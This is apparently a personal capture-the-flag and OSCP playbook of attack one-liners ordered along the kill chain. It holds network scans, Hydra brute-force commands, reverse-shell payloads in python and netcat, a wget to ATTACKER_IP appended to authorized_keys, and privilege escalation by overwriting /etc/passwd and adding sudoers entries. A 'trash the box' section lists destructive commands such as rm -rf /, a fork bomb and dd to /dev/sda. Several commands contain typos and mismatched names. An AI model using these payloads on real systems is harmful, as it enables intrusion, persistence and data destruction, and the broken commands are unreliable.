CTF Playbook Instructions

CTF playbook is my personal playbook for enumeration and attack techniques. The techniques here are meant to be loud and clumsy. No fancy obfuscation here, just smash and grab the flag. Most techniques here are bash one-liners. Ultimately, they will be looped into larger bash scripts. This playbook will also be used as a jump-off point for the OSCP exam.

The playbook will loosely follow Lockheed Martin's Cyber Kill Chain. It is currently linux/unix focused, with plans to expand in the future.The playbook will differentiate plays but *theme*. The two current themes are **Low and Slow** and **Move Fast and Break Things**

Start enumerating your target with plays in the playbook. Plays are grouped into categories called playsets. When you've successfully completed a playset, you can select the arrow image to be taken to the next link in the kill chain. This process often has iterations in a loop. Use the previous play icon to return to a playset when you've upgraded access credentials or visibility.

Next Play Icon:

Alt text

Previous Play Icon:

Alt text

Index and Playsets

- CTF Playbook Instructions
- Index and Playsets
- Reconnaissance 1
- Reconnaissance 2
- DNS enumeration
- testing for XSS
- In a website form enter
    - Moving Fast and Breaking Things
- make output directory for skipfish
- get sample list
- remove line "ro"
- location of kali linux malicious web shells
- Use the following techniques to upload malfiles such as php reverse shells
- Upload via HTTP
- Start a local web server
- change directories to webserver
- download files to webserver
- download files from your webserver to your target
- Upload via FTP

- Upload via TFTP
- Upload via SMB
- Upload via SSH / SCP
- Find the last commands run
- Find the Kernel Version
- Find versions of executatbles
- exploit outdated nmap version
- Look at user permissions
- Find other Users
- World Readable / Writable Files
- Inspect web traffice
- look at cronjobs that runs as root with incorrect permissions
- Manual sudo to root
- Get OS and Kernel Version, look for public exploits
- Check for SUID files in the sytem
- The best script I've found by far
- Above but as one script
- escalate to root
- get system information
- find network interfaces
- drop into a shell
- Add sudoers
- If you've found a flag and calculated size
- locate "hidden" files
- Example, fork the template to make your own victory site
- Carnage (don't run this on anything you care about, you've been warned)
- change your mac address
- arpspoof your address
- list processes

Reconnaissance 1

Locate and identify the target Alt text

Scan Network For Targets

```
arp-scan -I [interface] -l
nmap -sn -oG sweep.txt -p [CIDR range of network] | grep "Status Up"
netdiscover -i [interface] -p
nmap -sP [target/CIDR Range]
```

Reconnaissance 2

Gather information on the network Alt text

Simple Port Scanning Enumeration

```
nmap -T 5 [target]
nmap -p 1-65535 -sV -sS -T4 [target]
nmap -sV -sT -O -A -p- [target]
nmap -sU -p- [target]
nmap -Pn -p- [target]
nmap -sT -p 161 [target/254] -oG snmp_results.txt
(then grep)

nmap -sU --script nbstat.nse -p 137 [target]

*sparta, add [target] to scope*

nc -nv [target][port]
nc -nlvp [target][port]
ncat [host] [port]

# custom little bash script for ping sweeping

#!/bin/bash
# usage ./arpsweep 192.168 [interface: I.E eth1]
PREFIX=$1
INTERFACE=$2
for SUBNET in {1..255}
do
    for HOST in {1..255}
    do
        echo "[*] IP: "$PREFIX". "$SUBNET"."$HOST
        arping -c 3 -i $INTERFACE $PREFIX"."$SUBNET"."$HOST 2>
        /dev/null
        done
    done
```

Network Scanning

```
# use tcpdump to gather network traffic
tcpdump net [target CIDR range]
tcpdump [interface]
tcpdump port [port]
```

```
__Vulnerability Scanning__
``` bash
nmap -sc [target]
nmap --script discovery
nmap -sC vuln
nmap --script exploit
```
```

```
nmap --script "[port]-*" [target]
nmap --script-args=unsafe=1 --script smb-check-vulns.nse -p 445 [target]
nmap -p80,443 [Target or CIDR] -oG - | nikto.pl -h -

msfconsole
openvas

enum4linux -a [target]

ike-scan [target]
```

Reconnaissance 3

Digging deeper into particular services, and running massive vulnerability scans. Alt text Alt text

Web Server Enumeration

```
firefox [target]
firefox [target]/robots.txt
dirb http://[target]
nikto -h [target]

arachni -u [URL]

# DNS enumeration
dig [target domain]
whois [target domain]
dnsmap [target domain]

# testing for XSS
# In a website form enter
<script>alert(1)</script>

## Moving Fast and Breaking Things

# make output directory for skipfish
mkdir skipfish-output
# get sample list
cp /use/share/skipfish/dictionaries/medium.w1
# remove line "ro"
skipfish -W medium -o skipfish-output
```

NBT,SMB,SNMP Scan

```
nbtscan -l [target]

smbclient -L //[target]
```

```
msfcli auxiliary/scanner/snmp/snmp_login RHOSTS=[target]
```

Moving Fast and Breaking Things

```
#!/bin/bash
for ip in nmap -v -T5 -p[port] [host] | awk -F\
'/[PORT]\/[tcp | udp] on/ {print $6}'`
do
    msfcli [MODULE] RHOST=$ip E;
done
```

Weaponization

Turn recon into actionable exploits Alt text

Brute Force Services

```
hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f
[target] [service] -V
#Hydra brute force against SNMP
hydra -P password-file.txt -v $ip snmp
#Hydra FTP known user and password list
hydra -t 1 -l admin -P /root/Desktop/password.lst -vV $ip ftp
#Hydra SSH using list of users and passwords
hydra -v -V -u -L users.txt -P passwords.txt -t 1 -u $ip ssh
#Hydra SSH using a known password and a username list
hydra -v -V -u -L users.txt -p "<known password>" -t 1 -u $ip ssh
#Hydra SSH Against Known username on port 22
hydra $ip -s 22 ssh -l <user> -P big\_wordlist.txt
#Hydra POP3 Brute Force
hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f $ip pop3 -V
#Hydra SMTP Brute Force
hydra -P /usr/share/wordlistsnmap.lst $ip smtp -V
#Hydra attack http get 401 login with a dictionary
hydra -L ./webapp.txt -P ./webapp.txt $ip http-get /admin
#Hydra attack Windows Remote Desktop with rockyou
hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt
rdp://$ip
#Hydra brute force a Wordpress admin login
hydra -l admin -P ./passwordlist.txt $ip -V http-form-post '/wp-
login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'
```

Malicous File Upload

```
# location of kali linux malicious web shells
cd /user/share/webshells/
```

- test common services pop3,ftp,ssh, smtp

```
+  __Metasploit__:
    +    __Select Exploit__: $ use [exploit]
    +    __See Options__: $ show options
    +    __Set Options__: $ set [option name] [option value]
    +    __Run Exploit__: $ run
    +    __Check for session__: $ session -ls
```

Delivery

Deliver payload to the target Alt text

Upload Maliscous File

```
# Use the following techniques to upload malfiles such as php reverse
shells

# Upload via HTTP
# Start a local web server
service apache2 start
# change directories to webserver
cd /var/www/html
# download files to webserver
wget https://some-website.com/path/to/file
# download files from your webserver to your target
target$ wget [attack-machine-ip]/filename.extension

# Upload via FTP
# Upload via TFTP
# Upload via SMB
# Upload via SSH / SCP
```

Exploitation

Successful gain unauthorized access Alt text. This step depends entirely on what type of exploit you decide to use.

Reconnaissance 4

Gather additional information previously unattainable. Some of these will overlap with renumeration rechniques described in the Priv Escalation Playset Alt text Alt text

```
# Find the last commands run
$ history
$ netstat -ano
$ strings [filename.extension]
$ file [filename.extension]
$ ps aux
$ who
# Find the Kernel Version
$ uname -a
$ printenv
# Find versions of executatbles
$ /path/to/file -version
# exploit outdated nmap version
$ /usr/local/bin/nmap --interactive
$ !sh
$ whoami

$ netstat -natup
$ ps aux | grep root
$ sudo -l
$ sudo su -l
$ lsb_release -a
$ cat /etc/issue; cat /etc/*-release; cat /etc/lsb-release; cat
/etc/redhat-release;
$ cat /proc/version; uname -a; uname -mrs; rpm -q kernel; dmesg | grep
Linux; ls /boot | grep vmlinuz-; file /bin/ls; cat /etc/lsb-release
$ cat /etc/profile; cat /etc/bashrc; cat ~/.bash_profile; cat ~/.bashrc;
cat ~/.bash_logout; env; set
$ mount; df -h; cat /etc/fstab

# Look at user permissions
$ ls -l

# Find other Users
 $id; who; w; last; cat /etc/passwd | cut -d: -f1; echo 'sudoers:'; cat
/etc/sudoers; sudo -l

# World Readable / Writable Files
$ echo "world-writeable folders"; find / -writable -type d 2>/dev/null;
echo "world-writeable folders"; find / -perm -222 -type d 2>/dev/null;
echo "world-writeable folders"; find / -perm -o w -type d 2>/dev/null;
echo "world-executable folders"; find / -perm -o x -type d 2>/dev/null;
echo "world-writeable & executable folders"; find / \( -perm -o w -perm -o
x \) -type d 2>/dev/null;

# Inspect web traffice
$ tcpdump tcp port 80 -w output.pcap -i eth0
```

```
# look at cronjobs that runs as root with incorrect permissions
```

Command and GitTroll (CG2)

Establish a lasting backdoor Alt text

If you really wanted to test this ability. You can use Merlin. This is out of scope for boot to root CTF competitions, but has some potential functionality in larger format events.

Priviledge Escalation

Escalate to root . See Credit Alt text

Kicking the Tires

```
# Manual sudo to root
$ sudo su -
$ sudo -l
# Get OS and Kernel Version, look for public exploits
$ lsb_release -a
$ uname -a
$ searchsploit [OS] or [Kernel]
echo root::0:0:root:/root:/bin/bash > /etc/passwd

#See which processes are running with root priv
ps aux | grep root
# Check for SUID files in the sytem
$ find / -perm -u=s -type f 2>/dev/null

stat /etc/passwd

find / -writeable > writeable-files.txt

#Add user www-data to sudoers with no password
$ echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >>
/etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
```

Automated Priv Escalation Scripts Download these scripts to your target and run to search for any number of vulnerabilities

```
# The best script I've found by far
wget  https://github.com/mzet-/linux-exploit-suggester/blob/master/linux-
exploit-suggester.sh
```

```
wget https://github.com/pentestmonkey/unix-privesc-check
```

If You have a Reverse Shell...

```
#Get a TTY shell after a reverse shell connection
python -c 'import pty;pty.spawn("/bin/bash")'
#Set PATH TERM and SHELL if missing:
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
export TERM=xterm
export SHELL=bash
# Above but as one script
python -c 'import pty;pty.spawn("/bin/bash")'; export
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
; export TERM=xterm; export SHELL=bash

#Add public key to authorized keys:
$ echo $(wget https://ATTACKER_IP/.ssh/id_rsa.pub) >>
~/.ssh/authorized_keys

#Some payloads to overcome limited shells:
$ ssh user@$ip nc $localip 4444 -e /bin/sh
    enter user's password
$ python -c 'import pty; pty.spawn("/bin/sh")'
$ export TERM=linux

$ python -c 'import pty; pty.spawn("/bin/sh")'

$ python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("$ip",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),   *$
1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

$ echo os.system('/bin/bash')

$ /bin/sh -i

$ exec "/bin/sh";

$ perl -e 'exec "/bin/sh";'

#From within tcpdump
$ echo $'id\n/bin/netcat $ip 443 -e /bin/bash' > /tmp/.test
chmod +x /tmp/.test
sudo tcpdump -ln -I eth- -w /dev/null -W 1 -G 1 -z /tmp/.tst -Z root
```

Exploiting Services

```
#MySQL
sys_exec('usermod -a -G admin username')
```

Metasploit If you have a meterpreter shell

```
# escalate to root
getsystem
# get system information
sysinfo
# find network interfaces
netstat
# drop into a shell
shell
```

Python Scripts

```
# Add sudoers
#!/usr/bin/env python
import os
import sys
try:
        os.system('echo "username ALL=(ALL:ALL) ALL" >> /etc/sudoers')
except:
        sys.exit()
```

Actions on Objectives

Our object is to collect all the flags, and gain root compromise. Gather necessary CTF documentation (flags)
Alt text

Search for Flags

```
find "*flag*"
find "*FLAG*"
find "*FLAG.txt*"
find -03 -L /var/www/ -name "*flag*"

find . -type f -exec grep "*flag*" '{}' \; -print

locate *flag*

# If you've found a flag and calculated size
find / -size -[flag size]
```

```
locate "*flag*"
ls -alSh

# locate "hidden" files
ls -a
```

Celebration

Add your mark Alt text

A quick list of resources for celebrating your CTF root

1. Overwrite your victory website to CTF web server

```
# Example, fork the template to make your own victory site
git clone https://github.com/tcbutler320/ctf-playbook/tree/master/victory-mark

rm -r /var/www
cp victory-mark /var/www/
```

2. Trash the box, !VERY dangerous, you've been warned. Research has not been done to determine if trashing a VM on your local host will effect your local host. #trashthebox

```
# Carnage (don't run this on anything you care about, you've been warned)
$ rm -rf /
$ :(){:|:&};:
$ command > /dev/sda
$ mv /home/user/* /dev/null
$ dd if=/dev/random of=/dev/sda
```

Non Necessities

This section will contain more pentest-related scripts and scans that are not likely to be used during a CTF

Disguises

```
# change your mac address
ifconfig down [interface: I.E eth0]
macchanger -r
ifconfig up [interface]
```

```
# arpspoof your address
arpspoof -t [target ip] [gateway ip]
```

Documentation

Documentation is important, as you will need to come back frequently to things you've found.

- **CherryTree**: $
- **KeepNote**: $
- **TextPad**: $

Credit and Resources

There are countless resources and people who deserve credit for their contributions to this playbook.

- Credit and Resources
  - CheatSheet God
  - Adam P : Logo
  - Guif: Priv Escalation: One of the best resources I've found for raw scripts on Priv Esc. Thanks!
  - Total OSCP Guide

Resources

- Metasploit Persistence
- Reverse Shell Cheatsheet
- Post Exploitation on Windows Machines

Videos

- SUID and GSID

Github

General Unix Commands

```
# list processes
ps aux
ps aux | grep [keyword]
top
```

OSCP Specefic Commands

```
locate network-secret.txt
locate proof.txt
```